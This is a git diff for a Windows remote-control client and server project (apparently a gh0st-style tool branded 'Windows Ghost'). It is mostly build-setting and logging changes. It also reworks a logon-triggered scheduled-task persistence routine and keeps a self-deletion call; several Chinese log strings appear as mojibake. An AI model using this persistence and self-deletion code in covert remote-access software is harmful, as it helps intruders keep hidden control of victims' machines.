diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index e5e6b28..2748d74 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -182,17 +182,13 @@ BOOL CALLBACK callback(DWORD CtrlType) return TRUE; } -void ServiceLogger(const char* message) { - Logger::getInstance().log(NULL, 0, "%s", message); -} - int main(int argc, const char *argv[]) { Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc); - InitWindowsService({ "RemoteControlService", "Remote Control Service", "Provides remote desktop control functionality." }, ServiceLogger); + InitWindowsService({ "RemoteControlService", "Remote Control Service", "Provides remote desktop control functionality." }, Log); bool isService = g_SETTINGS.iStartup == Startup_GhostMsc; // 注册启动项 - int r = RegisterStartup("Windows Ghost", "WinGhost", !isService, g_SETTINGS.runasAdmin); + int r = RegisterStartup("Windows Ghost", "WinGhost", !isService, g_SETTINGS.runasAdmin, Logf); if (r <= 0) { BOOL s = self_del(); if (!IsDebug) { diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index 6edecbe..8661502 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -98,12 +98,13 @@ ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true false - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 true zlib\zlib.lib;%(AdditionalDependencies) libcmt.lib;msvcrt.lib + /ignore:4099 %(AdditionalOptions) @@ -115,12 +116,13 @@ ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true false - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 true zlib\zlib_x64.lib;%(AdditionalDependencies) libcmt.lib + /ignore:4099 %(AdditionalOptions) @@ -133,14 +135,14 @@ $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 true true true zlib\zlib.lib;%(AdditionalDependencies) - /SAFESEH:NO %(AdditionalOptions) + /SAFESEH:NO /ignore:4099 %(AdditionalOptions) msvcrt.lib @@ -154,14 +156,14 @@ $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 true true true zlib\zlib_x64.lib;%(AdditionalDependencies) - /SAFESEH:NO %(AdditionalOptions) + /SAFESEH:NO /ignore:4099 %(AdditionalOptions) diff --git a/client/SCLoader.vcxproj b/client/SCLoader.vcxproj index a791e12..9b3c35d 100644 --- a/client/SCLoader.vcxproj +++ b/client/SCLoader.vcxproj @@ -93,12 +93,13 @@ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 Console true mainCRTStartup + /ignore:4099 %(AdditionalOptions) @@ -110,7 +111,7 @@ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 Windows @@ -118,6 +119,7 @@ true false entry + /ignore:4099 %(AdditionalOptions) @@ -127,12 +129,13 @@ _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 Console true mainCRTStartup + /ignore:4099 %(AdditionalOptions) @@ -144,7 +147,7 @@ NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 Windows @@ -152,6 +155,7 @@ true false entry + /ignore:4099 %(AdditionalOptions) diff --git a/client/TestRun_vs2015.vcxproj b/client/TestRun_vs2015.vcxproj index 67bf6c8..78b8072 100644 --- a/client/TestRun_vs2015.vcxproj +++ b/client/TestRun_vs2015.vcxproj @@ -95,12 +95,13 @@ true false $(SolutionDir);%(AdditionalIncludeDirectories) - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 _CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true Console + /ignore:4099 %(AdditionalOptions) @@ -111,12 +112,13 @@ true false $(SolutionDir);%(AdditionalIncludeDirectories) - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 _CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true Console + /ignore:4099 %(AdditionalOptions) @@ -129,7 +131,7 @@ true _CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) $(SolutionDir);%(AdditionalIncludeDirectories) - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 true @@ -137,6 +139,7 @@ true Windows mainCRTStartup + /ignore:4099 %(AdditionalOptions) @@ -149,7 +152,7 @@ true _CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) $(SolutionDir);%(AdditionalIncludeDirectories) - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 true @@ -157,6 +160,7 @@ true Windows mainCRTStartup + /ignore:4099 %(AdditionalOptions) diff --git a/client/TinyRun.vcxproj b/client/TinyRun.vcxproj index 37f1899..1c1cb46 100644 --- a/client/TinyRun.vcxproj +++ b/client/TinyRun.vcxproj @@ -92,11 +92,12 @@ true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 Console true + /ignore:4099 %(AdditionalOptions) @@ -108,13 +109,14 @@ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 Windows true true false + /ignore:4099 %(AdditionalOptions) @@ -123,11 +125,12 @@ true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 Console true + /ignore:4099 %(AdditionalOptions) @@ -139,13 +142,14 @@ NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 Windows true true false + /ignore:4099 %(AdditionalOptions) diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index 4efdc0d..98a8dae 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -98,7 +98,7 @@ _CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true false - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 true @@ -107,6 +107,7 @@ Console + /ignore:4099 %(AdditionalOptions) @@ -118,7 +119,7 @@ _CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true false - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 true @@ -127,6 +128,7 @@ Console + /ignore:4099 %(AdditionalOptions) @@ -139,14 +141,14 @@ $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) _CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 true true true zlib\zlib.lib;%(AdditionalDependencies) - /SAFESEH:NO %(AdditionalOptions) + /SAFESEH:NO /ignore:4099 %(AdditionalOptions) Windows mainCRTStartup msvcrt.lib @@ -162,14 +164,14 @@ $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) _CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 true true true zlib\zlib_x64.lib;%(AdditionalDependencies) - /SAFESEH:NO %(AdditionalOptions) + /SAFESEH:NO /ignore:4099 %(AdditionalOptions) Windows mainCRTStartup diff --git a/client/reg_startup.c b/client/reg_startup.c index 14ceac5..fa12aaf 100644 --- a/client/reg_startup.c +++ b/client/reg_startup.c @@ -13,13 +13,16 @@ #include #include #include -#define Mprintf printf #pragma comment(lib, "taskschd.lib") #pragma comment(lib, "comsupp.lib") #pragma comment(lib, "userenv.lib") #pragma comment(lib, "shlwapi.lib") +static StartupLogFunc Log = NULL; + +#define Mprintf(format, ...) if (Log) Log(__FILE__, __LINE__, format, __VA_ARGS__) + inline void ConvertCharToWChar(const char* charStr, wchar_t* wcharStr, size_t wcharSize) { MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize); @@ -103,6 +106,9 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons pSettings->lpVtbl->put_StopIfGoingOnBatteries(pSettings, VARIANT_FALSE); pSettings->lpVtbl->Release(pSettings); } + else { + Mprintf("ȡʧܣ룺%ld\n", hr); + } IRegistrationInfo* pRegInfo = NULL; hr = pTask->lpVtbl->get_RegistrationInfo(pTask, &pRegInfo); @@ -125,6 +131,9 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons SysFreeString(bDesc); pRegInfo->lpVtbl->Release(pRegInfo); } + else { + Mprintf("ȡעϢʧܣ룺%ld\n", hr); + } ITriggerCollection* pTriggerCollection = NULL; hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection); @@ -132,14 +141,35 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons ITrigger* pTrigger = NULL; hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger); pTriggerCollection->lpVtbl->Release(pTriggerCollection); - if (FAILED(hr)) { + if (SUCCEEDED(hr)) { + // ͨûҪָû + if (!runasAdmin) { + ILogonTrigger* pLogonTrigger = NULL; + hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IID_ILogonTrigger, (void**)&pLogonTrigger); + if (SUCCEEDED(hr)) { + char userName[UNLEN + 1] = { 0 }; + DWORD nameLen = UNLEN + 1; + GetUserNameA(userName, &nameLen); + WCHAR wUser[MAX_PATH] = { 0 }; + ConvertCharToWChar(userName, wUser, MAX_PATH); + BSTR bstrUser = SysAllocString(wUser); + pLogonTrigger->lpVtbl->put_UserId(pLogonTrigger, bstrUser); + SysFreeString(bstrUser); + pLogonTrigger->lpVtbl->Release(pLogonTrigger); + } + } + pTrigger->lpVtbl->Release(pTrigger); + } + else { Mprintf("޷񴥷룺%ld\n", hr); pTask->lpVtbl->Release(pTask); pService->lpVtbl->Release(pService); CoUninitialize(); return 6; } - pTrigger->lpVtbl->Release(pTrigger); + } + else { + Mprintf("ȡ񴥷ʧܣ룺%ld\n", hr); } // ò @@ -159,18 +189,32 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons SysFreeString(path); pExecAction->lpVtbl->Release(pExecAction); } + else { + Mprintf("QueryInterface ʧܣ룺%ld\n", hr); + } pAction->lpVtbl->Release(pAction); } + else { + Mprintf("ʧܣ룺%ld\n", hr); + } pActionCollection->lpVtbl->Release(pActionCollection); } + else { + Mprintf("ȡʧܣ룺%ld\n", hr); + } // Ȩ IPrincipal* pPrincipal = NULL; - if (SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) { - pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN); - pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA); + if (runasAdmin && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) { + hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN); + if (FAILED(hr)) Mprintf("put_LogonType ʧܣ룺%ld\n", hr); + hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA); + if (FAILED(hr)) Mprintf("put_RunLevel ʧܣ룺%ld\n", hr); pPrincipal->lpVtbl->Release(pPrincipal); } + else { + if (runasAdmin) Mprintf("ȡȨʧܣ룺%ld\n", hr); + } // ע ITaskFolder* pFolder = NULL; @@ -197,7 +241,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons bstrTaskName, pTask, TASK_CREATE_OR_UPDATE, - vUser, + runasAdmin ? vUser : empty, empty, TASK_LOGON_INTERACTIVE_TOKEN, empty, @@ -216,11 +260,17 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons } pRegisteredTask->lpVtbl->Release(pRegisteredTask); } + else { + Mprintf("עƻʧܣ룺%ld | runasAdmin: %s\n", hr, runasAdmin ? "Yes" : "No"); + } VariantClear(&vUser); SysFreeString(bstrTaskName); pFolder->lpVtbl->Release(pFolder); } + else { + Mprintf("ȡĿ¼ʧܣ룺%ld\n", hr); + } pTask->lpVtbl->Release(pTask); pService->lpVtbl->Release(pService); @@ -287,11 +337,12 @@ BOOL CreateDirectoryRecursively(const char* path) return TRUE; } -int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin) +int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log) { #ifdef _DEBUG return 1; #endif + Log = log; char folder[MAX_PATH] = { 0 }; if (GetEnvironmentVariableA("LOCALAPPDATA", folder, MAX_PATH) > 0) { size_t len = strlen(folder); diff --git a/client/reg_startup.h b/client/reg_startup.h index 8e8bdb7..7feadb3 100644 --- a/client/reg_startup.h +++ b/client/reg_startup.h @@ -1,5 +1,7 @@ #pragma once #include +typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...); + // return > 0 means to continue running else terminate. -int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin); +int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log); diff --git a/client/test.cpp b/client/test.cpp index 09ca5a0..82aa369 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -210,10 +210,6 @@ public: } }; -void ServiceLogger(const char* message) { - Logger::getInstance().log(NULL, 0, "%s", message); -} - // @brief ȶȡsettings.iniļȡIPͶ˿. // [settings] // localIp=XXX @@ -222,10 +218,10 @@ void ServiceLogger(const char* message) { int main(int argc, const char *argv[]) { Mprintf(": %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc); - InitWindowsService({"ClientDemoService", "Client Demo Service", "Provide a demo service."}, ServiceLogger); + InitWindowsService({"ClientDemoService", "Client Demo Service", "Provide a demo service."}, Log); bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc; // ע - int r = RegisterStartup("Client Demo", "ClientDemo", !isService, g_ConnectAddress.runasAdmin); + int r = RegisterStartup("Client Demo", "ClientDemo", !isService, g_ConnectAddress.runasAdmin, Logf); if (r <= 0) { BOOL s = self_del(); if (!IsDebug) { diff --git a/common/logger.h b/common/logger.h index 10196fe..432de5c 100644 --- a/common/logger.h +++ b/common/logger.h @@ -258,3 +258,16 @@ inline const char* getFileName(const char* path) #endif #endif // _WIN32 + +inline void Log(const char* message) { + return Logger::getInstance().log(NULL, 0, "%s", message); +} + +inline void Logf(const char* file, int line, const char* format, ...) { + va_list args; + va_start(args, format); + char message[1024]; + vsnprintf(message, sizeof(message), format, args); + va_end(args); + return Logger::getInstance().log(getFileName(file), line, "%s", message); +} diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 9476d9c..485585b 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -102,7 +102,7 @@ false $(SolutionDir);%(AdditionalIncludeDirectories) false - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 Windows @@ -111,6 +111,7 @@ LIBCMT.lib;%(IgnoreSpecificDefaultLibraries) $(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt) true + /ignore:4099 %(AdditionalOptions) false @@ -133,7 +134,7 @@ false $(SolutionDir);%(AdditionalIncludeDirectories) false - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 Windows @@ -141,6 +142,7 @@ zlib\zlib_x64.lib;%(AdditionalDependencies) LIBCMT.lib;%(IgnoreSpecificDefaultLibraries) $(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt) + /ignore:4099 %(AdditionalOptions) false @@ -164,7 +166,7 @@ true $(SolutionDir);%(AdditionalIncludeDirectories) false - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 Windows @@ -172,7 +174,7 @@ true true zlib\zlib.lib;%(AdditionalDependencies) - /SAFESEH:NO %(AdditionalOptions) + /SAFESEH:NO /ignore:4099 %(AdditionalOptions) $(SolutionDir)Bin\$(TargetName)_x86$(TargetExt) @@ -198,7 +200,7 @@ true $(SolutionDir);%(AdditionalIncludeDirectories) false - 4018;4244;4267;4819 + 4018;4244;4267;4819;4838 Windows @@ -206,7 +208,7 @@ true true zlib\zlib_x64.lib - /SAFESEH:NO %(AdditionalOptions) + /SAFESEH:NO /ignore:4099 %(AdditionalOptions) $(SolutionDir)Bin\$(TargetName)_x64$(TargetExt)